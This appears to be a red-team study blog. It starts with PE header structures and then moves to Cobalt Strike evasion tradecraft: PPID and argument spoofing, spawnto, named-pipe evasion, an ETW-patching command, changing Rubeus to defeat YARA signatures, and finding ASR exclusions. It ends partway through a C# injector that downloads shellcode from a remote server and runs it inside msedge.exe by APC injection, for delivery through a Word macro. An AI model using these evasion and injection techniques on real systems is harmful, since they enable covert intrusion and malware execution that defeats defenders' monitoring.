Parsing Portable Executable Headers means reading and interpreting the metadata at the beginning of a PE file. By parsing a PE header we can extract information about how the file is intended to be loaded and executed, dependencies and other characteristics for various technical tasks.

Some tools that can be used to parse PE Headers include, but not limited to;

  • PE Bear
  • PEview
  • PE Explorer
  • dumpbin
  • pedump
Example of what it looks like to parse msfvenom generated calc.exe using a tool. We will look into how to create our own PE Parser and later Object File Parser.

Portable Executable Format

Source - Maldev Academy

PE, or Portable Executable, are executable file format on Windows. Some PE file extensions include .exe, .dll, .sys and .src.

The headers you see in the image below are defined as data structure that holds information about the PE file. Now lets go through each header to understand them better.

Portable Executable Format (maldevacademy.com)

DOS Header (IMAGE_DOS_HEADER)

DOS Header is a 64-bit long structure. DOS Header have always these prefixed bytes; 0x4D and 0x5A. They are also known as MZ which is the headers signature. These bytes confirms that the file being parsed or inspected is a valid PE file. DOS Header is not important for the functionality of the PE files on modern Windows systems, but it is used for backward compability.

DOS Header data structure.

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

The important members of this structure is:

  • e_magic: This is the prefixed values 0x4D5A or MZ. It's the signature that marsk the file as MS_DOS executable.
  • e_lfanew: This member is important because it tells the PE loader on Windows systems where to look for the file header.

Below we have loaded calc.exe again in PE Bear.

We can see that the value for the first struct member is 0x5A4D and the last member at the offset 0x3C is C8. This is where the start of the NT Header is.

DOS Stub

This is not a PE Header but it prints out the error message "This program cannot be run in DOS mode" in case the program is loaded in DOS mode or "Disk Operating Mode".

NT Header (IMAGE_NT_HEADER)

NT Header is essential because it integrates two other image headers, FileHeader and OptionalHeader which include a large amount of information about the PE file. NT Header, similar to DOS Header have a signature, which is equal to "PE". This is represented by the bytes 0x50 and 0x45. Since the signature is of data type DWORD it is written as 0x50450000 which is padded by two null bytes.

The NT Header structure depends on the machines architecture. The difference is with the third member IMAGE_OPTIONAL_HEADER32 and IMAGE_OPTIONAL_HEADER64.

// 32 - bit
typedef struct _IMAGE_NT_HEADERS {
  DWORD                   Signature;
  IMAGE_FILE_HEADER       FileHeader;
  IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
// 64 - bit
typedef struct _IMAGE_NT_HEADERS64 {
    DWORD                   Signature;
    IMAGE_FILE_HEADER       FileHeader;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;

We can look at the NT Header in PE Bear. Notice that it starts with "PE".

File Header (IMAGE_FILE_HEADER)

The data structure for FileHeader. Source. It can be accessed from NT Header structure.

typedef struct _IMAGE_FILE_HEADER {
  WORD  Machine;
  WORD  NumberOfSections;
  DWORD TimeDateStamp;
  DWORD PointerToSymbolTable;
  DWORD NumberOfSymbols;
  WORD  SizeOfOptionalHeader;
  WORD  Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

The important members here are:

  • NumberOfSections: The number of sections in the PE Header
  • SizeOfOptionalHeader: The size of the following optional header
  • Characteristics: Flags about the attribute of the PE file, such as if its a Dynamic Link Library (DLL) or a console application.

The image below tells us that calc.exe have 3 sections, size of OptionalHeader is 240 (since hex f0 is 240 in decimal) and that this is an executable.

calc.exe

Optional Header (IMAGE_OPTIONAL_HEADER)

The reason its called OptionalHeader is because some file types dont have it. This is though an essential header for the execution of PE file. The PE Loader looks for specific information in the header in order to load and run the executable.

There are two versions, 32-bit and 64-bit. The difference is the size of some members, wheras 64-bit will use ULONGLONG data type, while 32-bit will use DWORD.

Lets look at the strucutre.

// 32 - bit
typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    // Standard fields.
    //
    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;
    //
    // NT additional fields.
    //
    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
// 64 - bit
typedef struct _IMAGE_OPTIONAL_HEADER64 {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  DWORD                BaseOfCode;
  ULONGLONG            ImageBase;
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  ULONGLONG            SizeOfStackReserve;
  ULONGLONG            SizeOfStackCommit;
  ULONGLONG            SizeOfHeapReserve;
  ULONGLONG            SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;

From Microsoft documentation.

  • Magic: The state of the image. It can either be 32-bit or 64-bit image.
  • MajorOperatingSystemVersion: The major version number of the required operating system. (Windows 10, 11 etc).
  • MinorOperatingSystemVersion: The minor version number of the operating system.( 1511, 1507 etc).
  • SizeOfCode: Size of the code section in bytes (.text) or size of all code sections if there are multiple.
  • AddressOfEntryPoint: The main function or starting address. If DLL the EntryPoint is optional. When no entry point, its zeor.
  • BaseOfCode: Offset of the start of the .text section.
  • SizeOfImage: Size of image file (including headers).
  • ImageBase: Specify the preferred address which the application is going to be loaded into memory when executed. Because of ASLR (Address Space Layout Randomization) the address specified in the filed is never used. The loader will go through PE Relocations to fix these addresses.
  • DataDirectory: Most important member of the header. An array of IMAGE_DATA_DIRECTORY. Contains the directories in a PE File.

Lets open PE Bear again and look at the OptionalHeader.

Data Directory (IMAGE_DATA_DIRECTORY)

Data Directory is the OptionalHeaders last member. It is an array of data type IMAGE_DATA_DIRECTORY. It has the following structure.

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

Data directory contains important information for the loader. As I mentioned, the data directory is an array of data. Each entry in the array represents an important part of the PE. This can be import directory which contains a list of external functions imported from other libraries.

Going back to our calc.exe we can see the Data directory in PE Bear.

The two important data directories here are Export Directory and Import Address Table.

  • Export Directory

The Export Directory contains a list of all the functions that the PE will export. (In other words, make available to other programs). Usually, Export Directory are found in DLL's that export functions. For example, you run a program that needs to use CreateFileA from kernel32.dll. The operating system will look at the export table of kernel32.dll and find the address to CreateFileA and link it to your program.

Now if we load kernel32.dll in PE Bear we can look at the Export Directory.

OptionalHeader for kernel32.dll
Export Directory of kernel32.dll
  • Import Address Table

The IAT contains information about addresses of the functions imported from other executables. This can for example be that our calc.exe is importing VirtualAlloc from kernel32.dll.

IAT in calc.exe

PE Sections

This is where the code and data used create an executable program relies. Each PE Section have a unique name and contains executable code, data or resource information.

The PE Sections are dynamic, meaning that the compiler add, remove or merge sections, and some sections can be added later. Its the IMAGE_FILE_HEADER.NumberOfSections that helps determine the number of sections.

One thing to note is that a payload can be stored in one of the different PE Sections, such as .text, .data or .rdata.

  • .text - This is where the executable code is located. This is where the actual instructions that the CPU executes.
  • .data - Hold initialized global and static variables in the code. So any given variable in the code that are given an initial value at the time of decleration go here in the .data section.
  • .rdata - Contains read-only data like constant varialbe or string litreals that are not ment to be modified.
  • .idata - This sections holds the Import Address Table (IAT). This is, like we mentioned earlier, is where the program calls a function from a DLL, like CreateFileA from kernel32.dll.
  • .reloc - If you remember the ImageBase member from the IMAGE_OPTIONAL_HEADER, where it specify a preferred addres but because of ASLR it will never used the specief address. In .reloc section in stores relocation information. This means that even though it didnt use the preferred address, .reloc section makes sure that the system adjust the memory address of the instructions and variables so that they work correctly regardless of where the program is loaded. It tells the system how to update the address so the program functions correctly.
  • .rsrc - Contains resources like icons, images, dialogs, version information and other non-code assets.
Section Headers of calc.exe and a sliver.exe payload

Each PE Section have an IMAGE_SECTION HEADER data structure that contains information about it. These headers are stored after the NT Headers as you can see from the image above.

The IMAGE_SECTION_HEADER structure is:

typedef struct _IMAGE_SECTION_HEADER {
  BYTE  Name[IMAGE_SIZEOF_SHORT_NAME];
  union {
    DWORD PhysicalAddress;
    DWORD VirtualSize;
  } Misc;
  DWORD VirtualAddress;
  DWORD SizeOfRawData;
  DWORD PointerToRawData;
  DWORD PointerToRelocations;
  DWORD PointerToLinenumbers;
  WORD  NumberOfRelocations;
  WORD  NumberOfLinenumbers;
  DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
  • Name - The name of the section. (.text, .data, .rdata etc...).
  • PhysicalAddress or VirtualSize - The size of the section when it is in memory.
  • VirtualAddress - Offset of the start of the section in memory.

Parsing of PE Headers

Now that we have a good understanding of PE Headers and what kind of data you kind find at each header, its time to understand how we can parse PE Headers. As we mentioned earlier parsing of PE headers is a way to read and interpert metadata at the beginning of a PE file.

Source -Maldev Academy Module 50

  • Relative Virtual Address (RVA)

RVA's are addresses used to reference location within the PE file. It's a 32-bit value that represents a position or code inside the PE file. RVA is relative to the beginning of the file. RVA is a fixed value. It's basically telling the operating system how far each section is from the beginning of the file.

For example a data section might start at RVA 0x5000. That means its located 0x5000 bytes from the beginning of the file.

The formula to calcute RVA to an Absolute Virtual Address is:

VA=Image Base + RVA

So for example an Image Base have an address at 0x10000000 and the RVA of a data in the PE file is at 0x5000, we can calculate the Absolute Virtual Address like this:

VA = 0x1000000 + 0x5000 = 0x10005000

  • PE Parsing in C

The code in the file below is based off of the code from maldev academy.

MyPeParserDownload

Object Files

Continue this at a later time...


Develop BOF

In order to develop our own BOF we need beacon.h. How do I develop a BOF? (helpsystems.com)

In Visual Studio add the header file.

Then include the directory where the header is located. You can use $(ProjectDir) if the header is located in the project folder.

And lastely include the header in the code.

#include "beacon.h"

To compile the bof there are several ways to do it. Either using the VS Developer Command Prompt.

cl.exe /c /GS- /FoCS_BOF.o CS_BOF.c

Or using WSL using the commands:

root@DESKTOP-NU2VDB2:/mnt/c/U/A/O/D/S/CS_BOF/CS_BOF# x86_64-w64-mingw32-gcc -c CS_BOF.c -o bof.o

To execute the bof in the beacon:

beacon> inline-execute bof.o

You can find many different bof's here.


BOF Memory Allocations

As with the reflective loader, BOF memory allocations are also done using RWX.

Fork and Run Memory Allocations

As we have mentioned earlier, a fork and run will spawn a "temporary" process and inject the DLL into it. Fork and run have two variants, one "Process Injection Spawn" and "Process Injection Explicit". The first one spawns a temporary process and inject the DLL into it, while the "explicit" inject a DLL into an already running process.

In order to make fork and run a bit more OPSEC safe there are some options we can add in the mallable C2. Cobalt Strike 4.5: Fork&Run - You're "history" | Cobalt Strike

post-ex {
    set obfuscate "true";
    set cleanup "true";
}

The first one will obfuscate the reflective DLL when loading it into memory and will also set the memory permissions to RW/RX. While the cleanup will free the reflective loader from memory after it has loaded the post-ex DLL. The cleanup option is important when using "explicit" for and run, because you will otherwise leave an instance of the reflective loader in memory of those process.

If we now try and execute mimikatz before updating the mallable C2 and set a sleep timer so we can look at the memory we can see two RWX regions thats quiet large.

beacon > mimikatz standard::sleep 60000

Now if we load the new profile and execute a beacon we can see that it only has one RX memory region and the size is smaller.

SpawnTo

Spawnto can be used to spawn a legitimate looking process, and inject malicous code into it to evade detection.

If we look at the first image from the heading above we can see that the beacon spawns rundll32.exe as a child of the current beacon process. This is the default behaviour for spawnto and is always flagged by EDR and AV.

We can however change the spawnto using the spawnto command.

beacon> help spawnto
Use: spawnto [x86|x64] [c:\path\to\whatever.exe]
Sets the executable Beacon spawns x86 and x64 shellcode into. You must specify a
full-path. Environment variables are OK (e.g., %windir%\sysnative\rundll32.exe)
Do not reference %windir%\system32\ directly. This path is different depending
on whether or not Beacon is x86 or x64. Use %windir%\sysnative\ and
%windir%\syswow64\ instead.
Beacon will map %windir%\syswow64\ to system32 when WOW64 is not present.

No if we want we can set the spawnto to notepad.exe.

spawnto x64 %windir%\sysnative\notepad.exe

And we can see that notepad.exe is spawned as a child of the beacon process instead of rundll32.exe. The beacon uses CreateProcessA Windows API to spawn whatever process we want

You can hardcode the default spawnto in the mallable C2.

post-ex {
    set spawnto_x86 "%windir%\\syswow64\\notepad.exe";
    set spawnto_x64 "%windir%\\sysnative\\notepad.exe";
}

PPID Spoofing

Source 2 - ired.team

PPID Spoofing is a technique that allows us to change the parent process for a spawned child. If our beacon is for example running in powershell.exe we can spawn a process as childre of a different process, such as explorer.exe.

This is achieved with the STARTUPINFOEXstruct, with the member LPPROC_THREAD_ATTRIBUTE_LIST. The attribute PROC_THREAD_ATTRIBUTE_PARENT_PROCESS is used for PPID Spoofing. When a process is created it usually inherits its parent process ID (PPID) from the process that created it. But using the attribute mentioned we can specify a different process, making it seems like it has another PPID that it actually has.

From the Microsoft documentation:

> {| class="wikitable" > |- > | The lpValue parameter is a pointer to the handle of a process to use (instead of the calling process) as the parent for the process being created. The handle for the process used must have the PROCESS_CREATE_PROCESS access right. > |} > UpdateProcThreadAttribute function (processthreadsapi.h) - Win32 apps | Microsoft Learn

In order to understand this more, the code below taken from RTO2 will demonstrate how PPID spoofing works. I've expanded a bit in the comments in order to understand the code better.

#include
#include
int main()
{
    const DWORD attributeCount = 1;
    LPSTARTUPINFOEXW si = new STARTUPINFOEXW();
    si->StartupInfo.cb = sizeof(STARTUPINFOEXW);
    SIZE_T lpSize = 0;

    // call once to get lpSize. Used to determin how much memory allocation is needed.
    // An attribute holds properties that controls how a process or thread behaves when it is created, like specify the parent process as we are doing here.
    InitializeProcThreadAttributeList(
        NULL,
        attributeCount,
        0,
        &lpSize);

    // allocate the memory
    si->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(lpSize);
    // call again to initialise the list.
    InitializeProcThreadAttributeList(
        si->lpAttributeList,
        attributeCount,
        0,
        &lpSize);

    // open a handle to the desired parent.
    // We have to hardcode the PID, but we could create a function to enumerate process using the Native API NtQuerySystemInformation instead of hardcoding PID.
    // But for this demo this is not required.
    HANDLE hParent = OpenProcess(
        PROCESS_CREATE_PROCESS,
        FALSE,
        26188); // hardcoded pid of explorer
    // update the list.
    // Treat the specified process (The parent) as the "parent" for the newly created process. (notepad.exe).
    UpdateProcThreadAttribute(
        si->lpAttributeList,
        NULL,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hParent,
        sizeof(HANDLE),
        NULL,
        NULL);
    // create process
    PPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    wchar_t cmd[] = L"notepad.exe\0";
    CreateProcess(
        NULL,
        cmd,
        NULL,
        NULL,
        FALSE,
        EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        &si->StartupInfo,
        pi);
    // print the pid
    printf("PID: %d\n", pi->dwProcessId);
    // cleanup list and memory
    DeleteProcThreadAttributeList(si->lpAttributeList);
    free(si->lpAttributeList);
    // close handle to parent
    CloseHandle(hParent);
}

Now to do the same in Cobalt Strikes post-ex Fork and run commands, we can use the command ppid.

beacon> help ppid
Use: ppid [pid]
Use specified PID as parent for processes Beacon launches. The runas command
is not affected, but most other commands are.
Type ppid by itself to reset to default behavior.
WARNING: Do not specify a parent PID in another desktop session. This may
break several of Beacon's features and workflows. Use runu if you want to run
a command under a parent in another desktop session.

We can combine this with the Spawnto command. We make msedge.exe as the PPID, and we inject the malicous code into msedge.exe using ppid command.

The PID 11964 is the PID for the msedge.exe.

Process Injection Kit

Command-line Argument Spoofing

Source 2 - kwcsec

Source 3 - xpnsec

When using CreateProcess it will look different in the logs against launching it through Windows UI. You can see the difference in the picture below.

Left - Launched through Windows UI. Right - CreateProcess

You can use argue to use argument spoofing in Cobalt Strike.

beacon> help argue
Use: argue [command] [fake arguments]
     argue [command]
     argue
Spoof [fake arguments] for [command] processes launched by Beacon.
This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.
Use argue [command] to disable this feature for the specified command.
Use argue by itself to list programs with defined spoofed arguments.

In the below image have a set a benign powershell command as the fake argument, which just checks free disk spaces and running process.

If we now look at the sysmon logs we can see that our fake argument is passed as CommandLine:, while our real command is not logged.

argue can be used with other commands as well, and is not only limited to powershell.

SMB Named Pipe Names

Source 2 - svch0st

You can think of pipes as network sockets that can be used to send and receive data between process running on the same machine. Cobalt Strike SMB Beacon uses named pipes to communicate with a beacon. It works on the same host as well as across the network. Windows encapsulate named pipes within the SMB protocol. What this means is that Windows uses SMB protocol to enable named pipes to communicate over a network, not just within a single machine.

SMB beacon uses named pipes in four different ways:

  • To retrieve information from fork and run commands
  • Connect to Beacons SSH server
  • SMB Beacons named pipe stagers
  • C2 communication in the SMB Beacon itself, allowing for communication between compromised host on the network.

Many sysmon configs only log specific known pipenames. If you change the pipename to something random, it will help you evade detection most of the time. If you choose to use names from legitimate application, such as "mojo" pipe name that Google Chrome uses, remember to make sure that ppid and spawnto matches this pretex.

Sysmon event ID 17 - Pipe Created

Sysmon event ID 18 - Pipe Connected

The above Sysmon events can be used to spot default pipe names used by Beacon.

In the below image we can see the command powerpick used with spawnto set to notepad for demonstration.

SMB Beacon

In order to use SMB beacon, start a listener in Cobalt Strike and choose "Beacon SMB" - payload. Choose a pipename for your engagement. Make sure that you already have a beacon on the target machine.

The SMB beacon used in Cobalt strike is fileless and operates only in memory. You can read more about fileless lateral movement here and a C# code example. Handbook II – Advanced – BOOK_GHANIM

Now select the beacon you have on the target machine, and use the jump command to spawn a new SMB beacon the target.

jump psexec64 <target> <SMB listener>

Note that since the user on the target is local administrator, I will get a Beacon with SYSTEM privileges.

Now, lets look at the Sysmon logs.

The image above shows that there are two Sysmon events with ID 17 and 18. One where the pipe is created, and another where the pipe is connected.

Event Tracing for Windows

Source 2 - Maldev Academy New Module 12

Source 3 - xpnsec

Event Tracing for Windows or ETW, is a tracing mechanism built into Windows. It allows for collecting detailed information about events and activities that happens on the system. Events are generated by the system wether it is executed by the OS like loading a dll, or by a user like opening or saving a file. Events are generated by user-mode application or kernel-mode drivers, and saved to log files.

ETW Components are built into Windows OS kernel. ETW functionality is exposed to user-mode applications through a set of WinAPI's. These application can use these API's to write events, configure events to be logged, etc. Some of these API's are:

  • EventWrite and EventWriteEx - Write an event to the ETW event stream. These WinAPIs are also named EtwEventWrite and EtwEventWriteEx, respectively.
  • QueryAllTraces - Retrieves the properties for all running ETW tracing sessions.

One method to bypass ETW is to patch ntdll!EtwEventWrite. In Cobalt Strike 4.8 a new patch was introduced that allows a Beacon to perform memory patchines (outlined in Adam Chester's research - Source 3). The two commands that supports this patch is execute-assembly and powerpick.

The command to patch EtwEventWrite in Cobalt Strike is:

execute-assembly "PATCHES: ntdll.dll,EtwEventWrite,0,C3 ntdll.dll,EtwEventWrite,1,00" /root/Rubeus.exe

InlineExecute-Assembly

execute-assembly allows attacker to load .NET assemblies in-memory without touching the disk. Since this uses fork and run it will be hard to evade detection against good EDR or AV. Thats because, as we have mentioned earlier, it will spawn a temporary process --> load and execute the assembly inside it using reflective DLL --> read the output over named pipe. So even with ETW patching and AMSI bypass it will be hard to evade detection.

InlineExecute-Assembly is a BOF that allows .NET assemblies to be loaded and executed within the Beacon itself, without the use of fork and run.

To use InlineExecute-Assembly in Coblat Strike, do the following (See the github for more info):

  • Copy the inlineExecute-Assembly folder with all of its contents to a system you plan to connect with via the Cobalt Strike GUI application.
  • Load in the inlineExecute-Assembly.cna Aggressor script
  • Run inlineExecute-Assembly --dotnetassembly /path/to/assembly.exe for most basic execution (see use cases below for specific flag examples)

Now inside the Beacon we can execute InlineExecute-Assembly.

For more detailed use case scenario reference the github repo to see more command examples.

Tool Signature

Even though you implement many techniques mentioned above like PPID spoofing, spawnto, process injection, in-memory execution, your payload might trigger a static signatures.

Elastic Security have open-sourced their endpoint security protection YARA ruleset. You can find them here.

Lets take Rubeus.yar as an example.

If we look at the condition, it says that it will trigger the alert if:

  • The $guid matches the string OR it matches 4 of the 7 strings from $print_str.

Lets first start with the GUID.

We can generate a new GUID.

And for the other conditions we can search for them in the code and just change them up or remove them all together. I used grep -irl to find the strings.

You could also use "Replace in Files" in Visual Studio.

Metadata file

Adding metadata to a file can make it seem more legitimate. If look at Details for the file below you can see that it is empty. We can add metadata in Visual Studio.

Locate or Create a Resource File:

  • In Solution Explorer, look for an .rc file (e.g., Resource.rc).
  • If it doesn’t exist, right-click on the project, choose Add > New Item, and select Resource File (.rc).

Add Version Information:

  • Add a Version Resource:

Right-click in the Resource View.

  • Select Add Resource -> Version.

After adding metadata and compiling it will look like this.

Attack Surface Reduction (ASR)

ASR are sets of rules and configuratins that prevents common attack vectors. These can be

  • Malicous Executable Files
  • Unauthorized Access
  • Explotaiton of Vulnerabilities

Some key ASR rules include:

  • Block executable content from email
  • Use advanced protection features
  • Enforce rules in audit mode

ASR can be enabled via GPO, Intune MDM or Powershell. Its only available using Windows Defender, so ASR is not available if you're using another AV.

Attack surface reduction rules reference - Microsoft Defender for Endpoint | Microsoft Learn

Enumerating Enabled ASR rules

Rules can be read from any user, while Exclusion can only be read by local admin.

There are two types of exclusion:

  • default exclusions by Microsoft
  • custom exclusions - usually defined in GPO

You can read applied ASR configuration from the local registry or Get-MpPreference.

(Get-MpPreference).AttackSurfaceReductionRules_Ids (Get-MpPreference).AttackSurfaceReductionRules_Actions

Registry location: HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR.

From beacon: reg queryv x64 HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR ExploitGuard_ASR_Rules

You can also read the rules remotely from Registry.pol file found in the gPCFileSysPath of the GPO.

Each rule is referenced by a GUID and can be looked up in the reference page here.

source: Windows Defender Attack Surface Reduction Rules bypass – Oddvar Moe's Blog

And we can reference these GUID in the reference page.

source: Windows Defender Attack Surface Reduction Rules bypass – Oddvar Moe's Blog

MS Office Rules

There are three main ASR rules applied to Office documents:

  • Block all Office applications from creating child processes - This rule prevents us from running commands like powershell from an office document. Like this oneliner.
  • Block Win32 API calls from Office macros - This rules prevents us from calling Win32 API from a saved document.
  • Block Office applications from injecting code into other processes - This rule prevents us from injecting shellcode or manipulate memory in other processes.

Reversing ASR Exclusion

source 2 - adamsvoboda

Windows Defender signatures/rules are stored in VDM containers. We can use tools like · GitHub WDExtract.py to decrypt and extract the PE images from these containers.

You need Luadecinstalled on the machine before you can use WDExtract.py.

Location of VDM containers: C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Backup\mpasbase.vdm

Run the asr.py to extract, parse and decompile VDM.

python3 asr.py mpasbase.vdm --decompile wd-extracted

The .lua files are decompiled versions of VDM. We can now grep to find file relevant to a rule.

grep "Block all Office applications from creating child processes" *.lua

GetMonitoredLocations - defines all the sources processes that this rule will apply to.

GetPathExclusion - application paths that will be excluded from this ASR rule. This are locations where Office can spawn children.

GadgetToJsScript

Link to github

GadgetToJsScript can generate serialized gadgets from .NET (C#) code and uses unsafe binary formatter to trigger arbitrary code execution. Serialization is the process of converting objects into a format like binary or text. When the data is transferred to target and deserialized (Converted back into an object) using unsafe method like BinaryFormatter, it will cause the target to run the malicous code. The attacker can use languages like JS, VBA og VBS to deliver the malicous serialized code.

The way to use GadgeToJsScript is similar to DotNetToJsScript. Handbook II – Advanced – BOOK_GHANIM

So use GadgetToJscript:

  • Open the solution
  • Inser the malcious code inside TestAssembly
  • Compile the solution
  • For this task we will use VBA. So we will generate a VBA from TestAssembly.
  • Paste the content of inject.vba in a Word macro.
GadgetToJScript.exe -w vba -b -e hex -o inject -a C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali\GadgetToJScript-master\GadgetToJScript-master\TestAssembly\bin\Release\TestAssembly.dll
From the gitub repo

To make this more interesting, we will get a Beacon up and running with Cobalt Strike. Let's assume that we have enumerated a target machine with ASR. We have extracted the ASR rules and found that C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe is excluded.

I will use the code from the RTO2 course. The code below will fetch shellcode.bin from my webserver. (Here I could setup a domain with SSL and redirect rules), spawn a process msedge.exe in a suspended state, add command line arguments to make it look legitimate, allocate memory for the shellcode with RW permissions, write the shellcode to allocated memory region, change the permission to RX, execute the payload through asynchronized procedure call (APC) (Execute the shellcode in the context of primary thread of msedge.exe process), resume thread to resume the suspended thread to execute our payload.

using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace TestAssembly
{
    public class Program
    {
        [Flags]
        public enum CreationFlags : uint
        {
            CREATE_NO_WINDOW = 0x08000000,
            CREATE_SUSPENDED = 0x00000004
        }
        [Flags]
        public enum VirtualAllocationType : uint
        {
            MEM_COMMIT = 0x00001000,
            MEM_RESERVE = 0x00002000
        }
        [Flags]
        public enum PageProtectionFlags : uint
        {
            PAGE_READWRITE = 0x04,
            PAGE_EXECUTE_READ = 0x20
        }
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct STARTUPINFO
        {
            public int cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public int dwX;
            public int dwY;
            public int dwXSize;
            public int dwYSize;
            public int dwXCountChars;
            public int dwYCountChars;
            public int dwFillAttribute;
            public int dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

            [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
            public static extern bool CreateProcessW(
                string lpApplicationName,
                string lpCommandLine,
                IntPtr lpProcessAttributes,
                IntPtr lpThreadAttributes,
                bool bInheritHandles,
                CreationFlags dwCreationFlags,
                IntPtr lpEnvironment,
                string lpCurrentDirectory,
                ref STARTUPINFO lpStartupInfo,
                out PROCESS_INFORMATION lpProcessInformation);
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern IntPtr VirtualAllocEx(
                IntPtr hProcess,
                IntPtr lpAddress,
                uint dwSize,
                VirtualAllocationType flAllocationType,
                PageProtectionFlags flProtect);
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern bool WriteProcessMemory(
                IntPtr hProcess,
                IntPtr lpBaseAddress,
                byte[] lpBuffer,
                uint nSize,
                out int lpNumberOfBytesWritten);
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern bool VirtualProtectEx(
                IntPtr hProcess,
                IntPtr lpAddress,
                uint dwSize,
                PageProtectionFlags flNewProtect,
                out PageProtectionFlags lpflOldProtect);
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern uint QueueUserAPC(
                IntPtr pfnAPC,
                IntPtr hThread,
                IntPtr dwData);
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern uint ResumeThread(IntPtr hThread);
            [DllImport("kernel32.dll", SetLastError = true)]
            public static extern bool CloseHandle(IntPtr hObject);

        public Program()
        {
            byte[] shellcode;
            using (var client = new WebClient())
            {
                // make proxy aware
                client.Proxy = WebRequest.GetSystemWebProxy();
                client.UseDefaultCredentials = true;
                // set allowed tls versions

                shellcode = client.DownloadData("http://10.2.99.1/shellcode.bin");
            };
            var startup = new STARTUPINFO { dwFlags = 0x00000001 };
            startup.cb = Marshal.SizeOf(startup);
            var success = CreateProcessW(
                @"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe",
                @"""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --no-startup-window --win-session-start /prefetch:5""",
                IntPtr.Zero,
                IntPtr.Zero,
                false,
